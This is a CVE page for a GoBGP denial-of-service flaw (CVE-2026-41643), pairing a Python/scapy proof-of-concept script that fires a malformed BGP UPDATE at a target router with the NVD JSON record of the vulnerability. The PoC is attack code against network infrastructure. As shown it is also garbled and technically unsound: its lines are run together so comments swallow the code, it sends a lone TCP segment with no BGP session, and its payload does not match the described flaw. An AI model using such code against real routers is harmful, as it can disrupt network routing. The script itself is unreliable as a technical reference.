CVE-2026-41643

from scapy.all import * # Define the malformed BGP UPDATE packet structure # Note: This is a conceptual PoC. Actual crafting requires specific BGP header and attribute manipulation. def send_malformed_bgp(target_ip, target_port=179): # Craft a BGP marker (16 bytes) marker = b'\xff' * 16 # BGP Header: Marker (16) + Length (2) + Type (1) # Type 2 is UPDATE bgp_type = 2 # Malformed payload focusing on 4-byte AS path attribute triggering index out of range # This payload simulates the specific structure causing the panic malformed_payload = b'\x00\x00\x00' # Malformed length or path segment # Calculate total length (Header 19 + Payload) total_len = 19 + len(malformed_payload) length_field = struct.pack('!H', total_len) packet = IP(dst=target_ip)/TCP(dport=target_port, flags='PA')/Raw(load=marker + length_field + bytes([bgp_type]) + malformed_payload) print(f"[*] Sending malformed BGP packet to {target_ip}...") send(packet) if __name__ == "__main__": target = "192.168.1.100" # Replace with target GoBGP IP send_malformed_bgp(target)

{"cve": {"id": "CVE-2026-41643", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:17.623", "lastModified": "2026-05-07T19:43:46.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. Prior to version 4.3.0, a remote Denial of Service (DoS) vulnerability exists in GoBGP where a malformed BGP UPDATE message can trigger a runtime error: index out of range panic. This occurs during the processing of 4-byte AS attributes when the message structure causes an internal slice index shift that is not properly handled. This issue has been patched in version 4.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.0", "matchCriteriaId": "163FE6F5-1F81-4932-98B8-0A4847DF0133"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/releases/tag/v4.3.0", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-8rxh-r2p6-7f2q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-8rxh-r2p6-7f2q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}